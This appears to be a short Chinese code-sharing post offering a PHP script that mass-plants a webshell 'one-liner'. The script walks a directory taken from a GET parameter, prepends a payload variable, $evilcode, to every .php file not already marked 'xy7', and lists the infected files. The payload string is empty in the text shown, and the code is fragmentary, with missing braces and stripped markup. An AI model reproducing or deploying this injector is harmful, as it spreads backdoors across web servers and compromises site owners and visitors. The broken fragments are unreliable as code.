总是忘记一句话放到哪个文件里去了,直接全部干掉...

复制代码 代码如下:


//xy7 
if (!isset($dir) or empty($dir)) { 
$dir=str_replace('\\','/',dirname(__FILE__)); 
echo "".$dir.""; 
} else { 
$dir=$_GET['dir']; 
echo "".$dir.""; 

$evilcode=""; 
$testdir = opendir($dir); 
while($filea = @readdir($testdir)){ 
if(strstr($filea, '.php')){ 
$fp = @fopen($filea, 'r+'); 
if (!strstr(@fread($fp, 20), 'xy7')){ 
rewind($fp); 
$old = @fread($fp, filesize($filea)); 
rewind($fp); 
fwrite($fp, $evilcode . $old); 

fclose($fp); 


closedir($testdir); 
?> 


 
 
 
 
 
 
 
$dirs=@opendir($dir); 
while ($file=@readdir($dirs)) { 
if ((is_file($file)) and (ereg("\.php{0,1}$",$file))) 
{$b="$dir/$file"; 
$a=@is_dir($b); 
if($a=="0"){ 
$size=@filesize("$dir/$file"); 
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); 
echo "\n"; 
echo "\n"; 
echo " \n"; 
echo " \n"; 



@closedir($dirs); 
?> 
被X的文件时间大小
$file$lastsave$size Bytes
